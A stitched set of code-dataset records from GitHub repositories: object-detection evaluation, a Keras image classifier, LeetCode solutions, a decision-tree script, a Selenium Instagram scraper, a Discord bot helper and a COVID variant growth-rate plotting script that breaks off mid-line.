groundtruth_masks: uint8 numpy array of shape\n [num_boxes, height, width] containing `num_boxes` groundtruth masks.\n The mask values range from 0 to 1.\n \"\"\"\n if image_key in self.groundtruth_boxes:\n logging.warning(\n \"image %s has already been added to the ground truth database.\",\n image_key,\n )\n return\n\n self.groundtruth_boxes[image_key] = groundtruth_boxes\n self.groundtruth_class_labels[image_key] = groundtruth_class_labels\n self.groundtruth_masks[image_key] = groundtruth_masks\n if groundtruth_is_difficult_list is None:\n num_boxes = groundtruth_boxes.shape[0]\n groundtruth_is_difficult_list = np.zeros(num_boxes, dtype=bool)\n self.groundtruth_is_difficult_list[\n image_key\n ] = groundtruth_is_difficult_list.astype(dtype=bool)\n if groundtruth_is_group_of_list is None:\n num_boxes = groundtruth_boxes.shape[0]\n groundtruth_is_group_of_list = np.zeros(num_boxes, dtype=bool)\n self.groundtruth_is_group_of_list[\n image_key\n ] = groundtruth_is_group_of_list.astype(dtype=bool)\n\n self._update_ground_truth_statistics(\n groundtruth_class_labels,\n groundtruth_is_difficult_list.astype(dtype=bool),\n groundtruth_is_group_of_list.astype(dtype=bool),\n )\n\n def add_single_detected_image_info(\n self,\n image_key,\n detected_boxes,\n detected_scores,\n detected_class_labels,\n detected_masks=None,\n ):\n \"\"\"Adds detections for a single image to be used for evaluation.\n\n Args:\n image_key: A unique string/integer identifier for the image.\n detected_boxes: float32 numpy array of shape [num_boxes, 4]\n containing `num_boxes` detection boxes of the format\n [ymin, xmin, ymax, xmax] in absolute image coordinates.\n detected_scores: float32 numpy array of shape [num_boxes] containing\n detection scores for the boxes.\n detected_class_labels: integer numpy array of shape [num_boxes] containing\n 0-indexed detection classes for the boxes.\n detected_masks: np.uint8 numpy array of shape [num_boxes, height, width]\n containing `num_boxes` detection masks with values ranging\n between 0 and 1.\n\n Raises:\n ValueError: if the number of boxes, scores and class labels differ in\n length.\n \"\"\"\n if len(detected_boxes) != len(detected_scores) or len(\n detected_boxes\n ) != len(detected_class_labels):\n raise ValueError(\n \"detected_boxes, detected_scores and \"\n \"detected_class_labels should all have same lengths. Got\"\n \"[%d, %d, %d]\" % len(detected_boxes),\n len(detected_scores),\n len(detected_class_labels),\n )\n\n if image_key in self.detection_keys:\n logging.warning(\n \"image %s has already been added to the detection result database\",\n image_key,\n )\n return\n\n self.detection_keys.add(image_key)\n if image_key in self.groundtruth_boxes:\n groundtruth_boxes = self.groundtruth_boxes[image_key]\n groundtruth_class_labels = self.groundtruth_class_labels[image_key]\n # Masks are popped instead of look up. The reason is that we do not want\n # to keep all masks in memory which can cause memory overflow.\n groundtruth_masks = self.groundtruth_masks.pop(image_key)\n groundtruth_is_difficult_list = self.groundtruth_is_difficult_list[\n image_key\n ]\n groundtruth_is_group_of_list = self.groundtruth_is_group_of_list[\n image_key\n ]\n else:\n groundtruth_boxes = np.empty(shape=[0, 4], dtype=float)\n groundtruth_class_labels = np.array([], dtype=int)\n if detected_masks is None:\n groundtruth_masks = None\n else:\n groundtruth_masks = np.empty(shape=[0, 1, 1], dtype=float)\n groundtruth_is_difficult_list = np.array([], dtype=bool)\n groundtruth_is_group_of_list = np.array([], dtype=bool)\n (\n scores,\n tp_fp_labels,\n ) = self.per_image_eval.compute_object_detection_metrics(\n detected_boxes=detected_boxes,\n detected_scores=detected_scores,\n detected_class_labels=detected_class_labels,\n groundtruth_boxes=groundtruth_boxes,\n groundtruth_class_labels=groundtruth_class_labels,\n groundtruth_is_difficult_list=groundtruth_is_difficult_list,\n groundtruth_is_group_of_list=groundtruth_is_group_of_list,\n detected_masks=detected_masks,\n groundtruth_masks=groundtruth_masks,\n )\n\n for i in range(self.num_class):\n if scores[i].shape[0] > 0:\n self.scores_per_class[i].append(scores[i])\n self.tp_fp_labels_per_class[i].append(tp_fp_labels[i])\n\n def _update_ground_truth_statistics(\n self,\n groundtruth_class_labels,\n groundtruth_is_difficult_list,\n groundtruth_is_group_of_list,\n ):\n \"\"\"Update grouth truth statitistics.\n\n 1. Difficult boxes are ignored when counting the number of ground truth\n instances as done in Pascal VOC devkit.\n 2. Difficult boxes are treated as normal boxes when computing CorLoc related\n statitistics.\n\n Args:\n groundtruth_class_labels: An integer numpy array of length M,\n representing M class labels of object instances in ground truth\n groundtruth_is_difficult_list: A boolean numpy array of length M denoting\n whether a ground truth box is a difficult instance or not\n groundtruth_is_group_of_list: A boolean numpy array of length M denoting\n whether a ground truth box is a group-of box or not\n \"\"\"\n for class_index in range(self.num_class):\n num_gt_instances = np.sum(\n groundtruth_class_labels[\n ~groundtruth_is_difficult_list\n & ~groundtruth_is_group_of_list\n ]\n == class_index\n )\n self.num_gt_instances_per_class[class_index] += num_gt_instances\n if np.any(groundtruth_class_labels == class_index):\n self.num_gt_imgs_per_class[class_index] += 1\n\n def evaluate(self):\n \"\"\"Compute evaluation result.\n\n Returns:\n A named tuple with the following fields -\n average_precision: float numpy array of average precision for\n each class.\n mean_ap: mean average precision of all classes, float scalar\n precisions: List of precisions, each precision is a float numpy\n array\n recalls: List of recalls, each recall is a float numpy array\n corloc: numpy float array\n mean_corloc: Mean CorLoc score for each class, float scalar\n \"\"\"\n if (self.num_gt_instances_per_class == 0).any():\n logging.info(\n \"The following classes have no ground truth examples: %s\",\n np.squeeze(np.argwhere(self.num_gt_instances_per_class == 0))\n + self.label_id_offset,\n )\n\n if self.use_weighted_mean_ap:\n all_scores = np.array([], dtype=float)\n all_tp_fp_labels = np.array([], dtype=bool)\n\n for class_index in range(self.num_class):\n if self.num_gt_instances_per_class[class_index] == 0:\n continue\n if not self.scores_per_class[class_index]:\n scores = np.array([], dtype=float)\n tp_fp_labels = np.array([], dtype=bool)\n else:\n scores = np.concatenate(self.scores_per_class[class_index])\n tp_fp_labels = np.concatenate(\n self.tp_fp_labels_per_class[class_index]\n )\n if self.use_weighted_mean_ap:\n all_scores = np.append(all_scores, scores)\n all_tp_fp_labels = np.append(all_tp_fp_labels, tp_fp_labels)\n precision, recall = metrics.compute_precision_recall(\n scores,\n tp_fp_labels,\n self.num_gt_instances_per_class[class_index],\n )\n self.precisions_per_class.append(precision)\n self.recalls_per_class.append(recall)\n average_precision = metrics.compute_average_precision(\n precision, recall\n )\n self.average_precision_per_class[class_index] = average_precision\n\n self.corloc_per_class = metrics.compute_cor_loc(\n self.num_gt_imgs_per_class,\n self.num_images_correctly_detected_per_class,\n )\n\n if self.use_weighted_mean_ap:\n num_gt_instances = np.sum(self.num_gt_instances_per_class)\n precision, recall = metrics.compute_precision_recall(\n all_scores, all_tp_fp_labels, num_gt_instances\n )\n mean_ap = metrics.compute_average_precision(precision, recall)\n else:\n mean_ap = np.nanmean(self.average_precision_per_class)\n mean_corloc = np.nanmean(self.corloc_per_class)\n return ObjectDetectionEvalMetrics(\n self.average_precision_per_class,\n mean_ap,\n self.precisions_per_class,\n self.recalls_per_class,\n self.corloc_per_class,\n mean_corloc,\n )\n","repo_name":"facebookresearch/SlowFast","sub_path":"ava_evaluation/object_detection_evaluation.py","file_name":"object_detection_evaluation.py","file_ext":"py","file_size_in_byte":32940,"program_lang":"python","lang":"en","doc_type":"code","stars":6009,"dataset":"github-code","pt":"3"} +{"seq_id":"20970955432","text":"import keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Flatten\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom os import listdir\nfrom sklearn.model_selection import train_test_split\n\ndef loadImages(path):\n imagesList = listdir(path)\n loadedImages = []\n for image in imagesList:\n loadedImages.append(plt.imread(path + image))\n return np.array(loadedImages)\n\npanel = loadImages('./photo_small/panel/') / 255\nmodern = loadImages('./photo_small/modern/') / 255\nphoto = np.concatenate((panel, modern), axis=0)\nlabel_first = np.concatenate((np.zeros(20), np.ones(20)), axis=0)\nlabel_second = np.concatenate((np.ones(20), np.zeros(20)), axis=0)\nlabel_almost = np.vstack((label_first, label_second))\nlabel = label_almost.swapaxes(1,0)\nX_train, X_test, y_train, y_test = train_test_split(photo, label, test_size=0.1, random_state=42)\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n activation='relu'))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(2, activation='softmax'))\nmodel.compile(loss=keras.losses.binary_crossentropy,\n optimizer=keras.optimizers.Adam(),\n metrics=['accuracy'])\nmodel.fit(X_train, y_train,\n epochs=40,\n verbose=1,\n validation_data=(X_test, y_test))","repo_name":"andreiliphd/building-classification-three-models-deep-learning-CNN","sub_path":"Keras_model_building_classification.py","file_name":"Keras_model_building_classification.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"13301297366","text":"from collections import Counter\n\nclass Solution:\n def getMinimumDifference(self, a, b):\n retList = []\n for x in range(len(a)):\n if len(a[x]) != len(b[x]):\n retList.append(-1)\n else:\n word1 = a[x]\n word2 = b[x]\n c = 0\n lettersMap = Counter()\n\n for i in range(len(word1)):\n lettersMap[word1[i]] += 1\n\n for j in range(len(word2)):\n if word2[j] in lettersMap:\n lettersMap[word2[j]] -= 1\n if lettersMap[word2[j]] == 0:\n del lettersMap[word2[j]]\n else:\n c += 1\n retList.append(c)\n return retList\n\nsol = Solution()\na = ['abc', 'aaa']\nb = ['bba', 'bbb']\nprint(sol.getMinimumDifference(a, b))","repo_name":"adalloul0928/Leetcode_Hell","sub_path":"Archive/getMinDiff.py","file_name":"getMinDiff.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3123330054","text":"import pandas as pd\nimport os\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import tree\nfrom sklearn.metrics import accuracy_score\nimport pydotplus\nimport collections\n\n\ndata = pd.read_csv(\"/Users/rupengda/Downloads/data clean with Bean Type.csv\")\ndata[\"Cocoa Percent\"]=data[\"Cocoa Percent\"].str.strip(\"%\").astype(float)/100\ndata.info()\n\n# DT with Cocoa Percent, Bean Origin, Company Location\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\n\n# categorical data\nX_C_CL_P = LabelEncoder()\nX_C_CL=X_C_CL_P.fit_transform(data[\"Company Location\"])\nX_C_BO_P=LabelEncoder()\nX_C_BO=X_C_BO_P.fit_transform(data[\"Bean Origin\"].astype(str))\nX_C_BT_P=LabelEncoder()\nX_C_BT=X_C_BT_P.fit_transform(data[\"Bean Type\"].astype(str))\n\n\n\nX_N_CP=data[\"Cocoa Percent\"].values\nY_C_R_P= LabelEncoder()\nY_C_R=Y_C_R_P.fit_transform(data[\"Rating\"])\nY_C_R=Y_C_R.reshape(len(Y_C_R),1)\n#creat test dataset\nx_list=(X_N_CP,X_C_CL,X_C_BO,X_C_BT)\nX=np.vstack(x_list).T\n\nX_train, X_test, y_train, y_test = train_test_split(X, Y_C_R, test_size=0.01, random_state=400)\n\n\nx1_list=(X_N_CP,X_C_CL,X_C_BO)\nX1=np.vstack(x1_list).T\n\nX1_train, X1_test, y_train, y_test = train_test_split(X1, Y_C_R, test_size=0.01, random_state=400)\n\n#%%-----------------------------------------------------------------------\n# perform training with entropy.\n# Decision tree with entropy\nclf_entropy = tree.DecisionTreeClassifier(criterion=\"entropy\", random_state=100, max_depth=3, min_samples_leaf=5)\nclf_entropy1 = tree.DecisionTreeClassifier(criterion=\"entropy\", random_state=100, max_depth=3, min_samples_leaf=5)\n\n# Performing training\nclf_entropy.fit(X_train, y_train)\nclf_entropy1.fit(X1_train, y_train)\n#%%-----------------------------------------------------------------------\n\n\n# display decision tree\nfrom pydotplus import graph_from_dot_data\nfrom sklearn.tree import export_graphviz\nimport webbrowser\n\n\nN_list=[\"Coca Percent\",\"Company Location\",\"Bean Origin\",\"Bean Type\"]\ndot_data = export_graphviz(clf_entropy, filled=True, rounded=True, feature_names=N_list, out_file=None, class_names=Y_C_R_P.classes_.astype(str))\n\ngraph = graph_from_dot_data(dot_data)\ngraph.write_pdf(\"decisiontree_entropy.pdf\")\nwebbrowser.open_new(r'decisiontree_entropy.pdf')\n\ny_pred = clf_entropy.predict(X_test)\nprint(\"Accuracy : \", accuracy_score(y_test, y_pred) * 100)\nprint(\"\\n\")\n\n\n\nN1_list=[\"Coca Percent\",\"Company Location\",\"Bean Origin\"]\ndot_data1 = export_graphviz(clf_entropy1, filled=True, rounded=True, feature_names=N1_list, out_file=None, class_names=Y_C_R_P.classes_.astype(str))\n\ngraph = graph_from_dot_data(dot_data1)\ngraph.write_pdf(\"decisiontree_entropy1.pdf\")\nwebbrowser.open_new(r'decisiontree_entropy1.pdf')\n\ny_pred1 = clf_entropy1.predict(X1_test)\nprint(\"Accuracy : \", accuracy_score(y_test, y_pred1) * 100)\nprint(\"\\n\")\n\n\nprint ('-'*40 + 'End Console' + '-'*40 + '\\n')\n","repo_name":"bhaveshthecreator/FinalProjectGroup3","sub_path":"Code/Decision Tree Modeling/ENTROPY.py","file_name":"ENTROPY.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4171429462","text":"import string\n\ndef add_letters(ax, x=-0.08, y=1.02, fs=10, letter_offset=0):\n \"\"\"\n adds bold letters a,b,c,... to the upper left corner of subplots\n :param ax: axis\n :param x: x location of text\n :param y: ylocation of text\n :param fs: fontsize\n :return:\n \"\"\"\n letters = list(string.ascii_lowercase)\n try:\n ax.flat\n for il, tmp_ax in enumerate(ax.flat):\n tmp_ax.text(\n x,\n y,\n letters[il + letter_offset],\n weight=\"bold\",\n horizontalalignment=\"center\",\n verticalalignment=\"center\",\n transform=tmp_ax.transAxes,\n fontsize=fs,\n )\n except AttributeError:\n ax.text(\n x,\n y,\n letters[letter_offset],\n weight=\"bold\",\n horizontalalignment=\"center\",\n verticalalignment=\"center\",\n transform=ax.transAxes,\n fontsize=fs,\n )","repo_name":"jwohland/kliwist_modelchain","sub_path":"code/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71648453841","text":"from selenium import webdriver\r\nfrom conf import *\r\nfrom time import sleep\r\nimport re\r\nbrowser = webdriver.Chrome(\"D:\\Projects\\Pythn_Projects\\sarcina4\\chromedriver.exe\")\r\n\r\nkeys = [('LXV', 'POR'), ('XCII', 'UWR')]\r\nbrowser.get(\"https://www.instagram.com/accounts/login/\")\r\nbrowser.find_element_by_xpath('/html/body/div[2]/div/div/div/div[2]/button[1]').click()\r\nsleep(1)\r\nbrowser.find_element_by_xpath('//*[@id=\"loginForm\"]/div/div[1]/div/label/input').send_keys(login)\r\nbrowser.find_element_by_xpath('//*[@id=\"loginForm\"]/div/div[2]/div/label/input').send_keys(password)\r\nbrowser.find_element_by_xpath('//*[@id=\"loginForm\"]/div/div[3]').click()\r\nsleep(4)\r\nbrowser.find_element_by_xpath('//html/body/div[4]/div/div/div/div[3]/button[1]').click()\r\n\r\nlinks = set()\r\ndict = set()\r\n\r\nbrowser.get(\"https://www.instagram.com/best_chisinau/?hl=ru\")\r\nSCROLL_PAUSE_TIME = 4\r\n\r\n# Get scroll height\r\nlast_height = browser.execute_script(\"return document.body.scrollHeight\")\r\ni = 0\r\nwhile True:\r\n print(f\"i={i}/35\")\r\n i += 1\r\n if i >=35:\r\n break\r\n page_source = browser.page_source\r\n regular = r\"([A-Z]+): ([A-Z]+)\"\r\n c = re.findall(regular, page_source)\r\n for j in c:\r\n if j[0] not in dict:\r\n dict.add(j[0])\r\n keys.append(j)\r\n\r\n browser.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n # Wait to load page\r\n sleep(SCROLL_PAUSE_TIME)\r\n # Calculate new scroll height and compare with last scroll height\r\n new_height = browser.execute_script(\"return document.body.scrollHeight\")\r\n last_height = new_height\r\n\r\n# print(keys)\r\n# print(len(dict))\r\n\r\n\r\ndef value(r):\r\n if (r == 'I'):\r\n return 1\r\n if (r == 'V'):\r\n return 5\r\n if (r == 'X'):\r\n return 10\r\n if (r == 'L'):\r\n return 50\r\n if (r == 'C'):\r\n return 100\r\n if (r == 'D'):\r\n return 500\r\n if (r == 'M'):\r\n return 1000\r\n return -1\r\n\r\n\r\ndef romanToDecimal(str):\r\n res = 0\r\n i = 0\r\n\r\n while (i < len(str)):\r\n\r\n # Getting value of symbol s[i]\r\n s1 = value(str[i])\r\n\r\n if (i + 1 < len(str)):\r\n\r\n # Getting value of symbol s[i + 1]\r\n s2 = value(str[i + 1])\r\n\r\n # Comparing both values\r\n if (s1 >= s2):\r\n\r\n # Value of current symbol is greater\r\n # or equal to the next symbol\r\n res = res + s1\r\n i = i + 1\r\n else:\r\n\r\n # Value of current symbol is greater\r\n # or equal to the next symbol\r\n res = res + s2 - s1\r\n i = i + 2\r\n else:\r\n res = res + s1\r\n i = i + 1\r\n\r\n return res\r\n\r\nnew = []\r\nfor i in keys:\r\n new.append((romanToDecimal(i[0]), i[1]))\r\n\r\nprint(keys)\r\nnew.sort(key=lambda x: x[0])\r\nprint(new)\r\nj = 0\r\nfor i in new:\r\n if j+1 != i[0]:\r\n print(i[0]-1)\r\n j+=1\r\n j += 1\r\nprint('')\r\nfor i in new:\r\n print(i[1],end='')\r\nprint('\\n')","repo_name":"ciubotaruv/hackathon404-team","sub_path":"sarcina4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26961967485","text":"\"\"\"\n422. Valid Word Square\n\nGiven a sequence of words, check whether it forms a valid word square.\n\nA sequence of words forms a valid word square if the kth row and column read the exact same string, where 0 <= k < max(numRows, numColumns).\n\nNote:\nThe number of words given is at least 1 and does not exceed 500.\nWord length will be at least 1 and does not exceed 500.\nEach word contains only lowercase English alphabet a-z.\nExample 1:\n\nInput:\n[\n \"abcd\",\n \"bnrt\",\n \"crmy\",\n \"dtye\"\n]\n\nOutput:\ntrue\n\nExplanation:\nThe first row and first column both read \"abcd\".\nThe second row and second column both read \"bnrt\".\nThe third row and third column both read \"crmy\".\nThe fourth row and fourth column both read \"dtye\".\n\nTherefore, it is a valid word square.\nExample 2:\n\nInput:\n[\n \"abcd\",\n \"bnrt\",\n \"crm\",\n \"dt\"\n]\n\nOutput:\ntrue\n\nExplanation:\nThe first row and first column both read \"abcd\".\nThe second row and second column both read \"bnrt\".\nThe third row and third column both read \"crm\".\nThe fourth row and fourth column both read \"dt\".\n\nTherefore, it is a valid word square.\nExample 3:\n\nInput:\n[\n \"ball\",\n \"area\",\n \"read\",\n \"lady\"\n]\n\nOutput:\nfalse\n\nExplanation:\nThe third row reads \"read\" while the third column reads \"lead\".\n\nTherefore, it is NOT a valid word square.\nHide Company Tags Google\nShow Similar Problems\n\n\"\"\"\n# My Solution\nclass Solution1(object):\n def validWordSquare(self, words):\n \"\"\"\n :type words: List[str]\n :rtype: bool\n \"\"\"\n for row in range(len(words)):\n word = ''\n for trow in range(len(words)):\n if row < len(words[trow]):\n word += words[trow][row]\n else:\n break\n if words[row] != word:\n return False\n\n return True\n\n# Looked up Solution\n\"\"\"\n>>> kk = [\"abcde\", \"abcd\", \"abc\", \"ab\", \"a\"]\n\n>>> map(None, kk)\n['abcde', 'abcd', 'abc', 'ab', 'a']\n\n>>> map(None, *kk)\n[('a', 'a', 'a', 'a', 'a'), ('b', 'b', 'b', 'b', None), ('c', 'c', 'c', None, None), ('d', 'd', None, None, None), ('e', None, None, None, None)]\n\n>>> map(None, *map(None, *kk))\n[('a', 'b', 'c', 'd', 'e'), ('a', 'b', 'c', 'd', None), ('a', 'b', 'c', None, None), ('a', 'b', None, None, None), ('a', None, None, None, None)]\n>>>\n\"\"\"\n\nclass Solution2(object):\n def validWordSquare(self, words):\n return map(None, *words) == map(None, *map(None, *words))\n\n","repo_name":"tejamupparaju/LeetCode_Python","sub_path":"leet_code422.py","file_name":"leet_code422.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12572358647","text":"#https://leetcode.com/problems/read-n-characters-given-read4-ii-call-multiple-times/\n'''Given an api Read4(), construct a function read(n) which reads n characters into a buffer by using read4()\nNow, given that read() can be called multiple times, how can you improve the function?\n\n Inp: read(1); File contents - \"abcd\"\n Calling read4() will return abcd. \n Since we require only 1 character, we can return 'a', 1.\n\n Since read() can be called multiple times, calling read(5) the next time returns '', 0 since the file pointer has already reached the end of the array. The read(5) should return 'bcd', 3 as the output instead.\n'''\n# The read4 API is already defined for you.\n# @param buf, a list of characters\n# @return an integer\n# def read4(buf):\nclass Solution(object):\n def __init__(self):\n # We store all leftovers in this instance string\n self.leftOvers = ''\n\n def read(self, buf, n):\n # readSoFar - #useful characters read so far\n # rem - #characters remaining to reach target of n\n readSoFar, rem, buf4, read = 0, n, ['']*4, 4\n if self.leftOvers:\n numLeftOvers = len(self.leftOvers)\n toBeUsed = min(numLeftOvers, rem) # If there exist leftovers, use all of it unless requirement is < numLeftOvers\n\n buf[:toBeUsed] = self.leftOvers[:toBeUsed] # Use up as much characters as is required\n readSoFar, rem = readSoFar+toBeUsed, rem-toBeUsed \n\n self.leftOvers = self.leftOvers[toBeUsed:] if toBeUsed < numLeftOvers else ''\n # If not even numLeftOvers characters were consumed, update the leftovers\n\n while rem>0 and read == 4:\n # While characters are still required and EOF was not hit, read4()\n read = read4(buf4)\n toBeUsed = min(read, rem) #Of the buf4 read, use as much as is required\n\n buf[readSoFar:readSoFar+toBeUsed] = buf4[:toBeUsed]\n rem, readSoFar = rem-toBeUsed, readSoFar+toBeUsed\n\n if toBeUsed < read: #If even the buf4 was not entirely used up, update the remaining as leftovers\n self.leftOvers = buf4[toBeUsed:read]\n\n return readSoFar\n","repo_name":"humachine/AlgoLearning","sub_path":"leetcode/Done/158_ReadNCharsGivenRead4_2.py","file_name":"158_ReadNCharsGivenRead4_2.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30089218838","text":"import os\nfrom datetime import datetime\n\n#파일 이름 재설정 함수\ndef rename_files(folder_path, target_name, new_name):\n file_list = os.listdir(folder_path)\n\n for file_name in file_list:\n if file_name.startswith(target_name):\n file_path = os.path.join(folder_path, file_name)\n new_file_name = file_name.replace(target_name, new_name)\n new_file_path = os.path.join(folder_path, new_file_name)\n\n os.rename(file_path, new_file_path)\n print(f\"파일 이름 변경: {file_name} -> {new_file_name}\")\n\n#파일 이름 변경 함수\ndef sanitize_filename(filename):\n return filename.replace('/', '-')\n\n# 로그 파일 이름을 현재 날짜로 생성하는 함수\ndef get_log_file_name():\n current_date = datetime.now().strftime(\"%Y-%m-%d\") # \"YYYY-MM-DD\" 형식으로 포맷팅\n return f\"log/log_{current_date}.txt\"\n","repo_name":"FireChicks/python_discord_music_bot","sub_path":"music_sub.py","file_name":"music_sub.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21472032654","text":"import datetime\nfrom typing import Tuple, List\n\nimport matplotlib as mpl\nimport matplotlib.dates as mdates\nimport matplotlib.pyplot as plt\nfrom matplotlib.axes import Axes\nfrom matplotlib.figure import Figure\nimport numpy as np\nfrom pathlib import Path\nimport pandas as pd\nfrom statsmodels.stats.proportion import proportion_confint\n\nfrom base_classes import PlotConfig, GrowthNumbers, Dataset\nimport utils\n\n\nINPUT_RAW_VIOLLIER = \"../data/data_variants_per_day_and_grossregion_viollier.csv\"\nINPUT_RAW_RISCH = \"../data/data_variants_per_day_risch.csv\"\nINPUT_RAW_HUG_GENEVA = \"../data/data_variants_per_day_hug_geneva.csv\"\nINPUT_CASES = \"../data/data_cases_per_day_and_grossregion.csv\"\nOUTPUT_DIR = \"../figures\"\n\npconf = PlotConfig(\n colors=[\"#0D4A70\", \"#67916E\", \"#1883C6\", \"#99D9A4\", \"#73071F\", \"#5D8CF0\"],\n greys=[\"#151624\", \"#8C8C8C\", \"#BFBFBF\"]\n)\nglobal_generation_time = -1\nr_viollier = 0.8303355958601507\nr_risch = 0.8333831667251513\nr_viollier_geneva = 0.8810484621340444\nr_hug_geneva = 0.827443883157897\n\n\n# --- Core functions ---\n\ndef calculate_growth_rates(\n data: pd.DataFrame,\n alpha: float,\n generation_time: float,\n reproduction_number: float\n) -> GrowthNumbers:\n \"\"\"\n Computes the growth rates from time series data assuming a logistic curve.\n\n :param data: columns: t:int, b117:int, original:int\n :param alpha:\n :param generation_time:\n :returns:\n \"\"\"\n sequenced = data.b117 + data.original\n return utils.statsmodel_fit(alpha, data.t, data.b117, sequenced, generation_time, reproduction_number)\n\n\ndef draw_proportion_line_plot(\n ax: Axes,\n data: pd.DataFrame,\n generation_time,\n reproduction_number,\n start_date=datetime.datetime.strptime(\"2020-11-01\", \"%Y-%m-%d\"),\n number_days=150,\n alpha=0.95,\n show_logistic_mle=True,\n show_logistic_ci=True,\n show_daily_points=True,\n show_daily_ci=True,\n show_legend=True\n):\n \"\"\"\n :param data: columns: date:datetime, year:int, week:int, t:int, region:str, cases:int, b117:int, original:int\n \"\"\"\n growth = calculate_growth_rates(data, alpha, generation_time, reproduction_number)\n\n # Compute trajectories\n t_integer = np.array(range(number_days))\n t_date = [start_date + datetime.timedelta(days=x) for x in range(number_days)]\n model_pred = utils.statsmodel_predict(growth.statsmodel_model, t_integer, alpha)\n\n # Draw\n proportion = data.b117 / (data.b117 + data.original)\n with np.errstate(divide='ignore', invalid='ignore'):\n daily_ci = proportion_confint(data.b117, data.b117 + data.original, alpha=1 - alpha, method=\"wilson\")\n if show_logistic_mle:\n ax.plot(t_date, model_pred[0], label=\"Logistic fit\", color=pconf.greys[0])\n if show_logistic_ci:\n ax.fill_between(t_date, model_pred[1], model_pred[0], color=pconf.greys[2], label=\"Confidence interval\")\n ax.fill_between(t_date, model_pred[2], model_pred[0], color=pconf.greys[2])\n if show_daily_ci:\n yerr = np.vstack((proportion - daily_ci[0],\n daily_ci[1] - proportion))\n ax.errorbar(data.date, proportion, yerr=yerr, fmt=\"none\", c=pconf.colors[0])\n if show_daily_points:\n ax.scatter(data.date, proportion, s=14, c=pconf.colors[1],\n label=\"Estimated daily proportion of B.1.1.7\", zorder=10)\n if show_legend:\n ax.legend()\n ax.set_xlim(min(t_date), max(t_date))\n ax.set_ylim(0, 1)\n locator = mdates.AutoDateLocator(minticks=5, maxticks=10)\n formatter = mdates.ConciseDateFormatter(locator)\n ax.xaxis.set_major_locator(locator)\n ax.xaxis.set_major_formatter(formatter)\n\n\ndef draw_model_vs_reality_plot(\n ax: Axes,\n data_confirmed_cases: pd.DataFrame,\n data_variants: pd.DataFrame,\n generation_time,\n model_original_r0,\n model_initial_cases=3200,\n model_initial_proportion=0.02,\n model_fitness_advantage=0.5,\n model_start_date=datetime.datetime.strptime(\"2021-01-01\", \"%Y-%m-%d\"),\n model_end_date=datetime.datetime.strptime(\"2021-04-15\", \"%Y-%m-%d\"),\n real_start_date=datetime.datetime.strptime(\"2021-01-01\", \"%Y-%m-%d\"),\n real_sliding_window_size=7,\n show_legend=True,\n show_model_areas=True,\n show_reality_line_b117=True,\n show_reality_line_total=True,\n reality_line_b117_color=pconf.colors[0],\n reality_line_b117_label_suffix=\"\",\n show_long_title=True,\n y_axis_lim=None\n):\n \"\"\"\n :param data_confirmed_cases: The number of confirmed cases per day, columns: date:datetime, cases:int\n :param data_variants: The number of B.1.1.7 vs. original, columns: date:datetime, b117:int, original:int\n \"\"\"\n\n # Calculate R value\n model_b117_r0 = model_original_r0 * (1 + model_fitness_advantage)\n\n # Prepare time values\n number_days = (model_end_date - model_start_date).days + 1\n data_model = pd.DataFrame({\n \"t\": range(number_days)\n })\n data_model[\"date\"] = pd.date_range(model_start_date, periods=number_days, freq=\"D\")\n data_model[\"generation\"] = data_model.t / generation_time\n\n # Calculate model's case numbers\n model_initial_variant = model_initial_cases * model_initial_proportion\n model_initial_original = model_initial_cases - model_initial_variant\n data_model[\"n_b117\"] = model_initial_variant * (model_b117_r0 ** data_model.generation)\n data_model[\"n_original\"] = model_initial_original * (model_original_r0 ** data_model.generation)\n\n # Join daily data with the real case numbers\n data_variants[\"proportion\"] = data_variants.b117 / (data_variants.b117 + data_variants.original)\n daily_estimated_cases = data_confirmed_cases \\\n .merge(data_variants, on=\"date\", how=\"left\") \\\n .sort_values(\"date\")\n daily_estimated_cases[\"b117\"] = round(daily_estimated_cases.cases * daily_estimated_cases.proportion)\n daily_estimated_cases[\"original\"] = round(daily_estimated_cases.cases - daily_estimated_cases.b117)\n daily_estimated_cases = daily_estimated_cases[[\"date\", \"b117\", \"original\", \"cases\"]]\n daily_estimated_cases = daily_estimated_cases.rolling(real_sliding_window_size, center=True, on=\"date\").mean()\n daily_estimated_cases = daily_estimated_cases[daily_estimated_cases.date >= real_start_date]\n\n # Draw plot\n if show_reality_line_total:\n ax.plot(daily_estimated_cases.date, daily_estimated_cases.cases,\n label=\"Data: Total number of confirmed cases (7-day average)\", color=pconf.colors[1], linewidth=4)\n if show_reality_line_b117:\n ax.plot(daily_estimated_cases.date, daily_estimated_cases.b117,\n label=\"Data: Estimated number of B.1.1.7 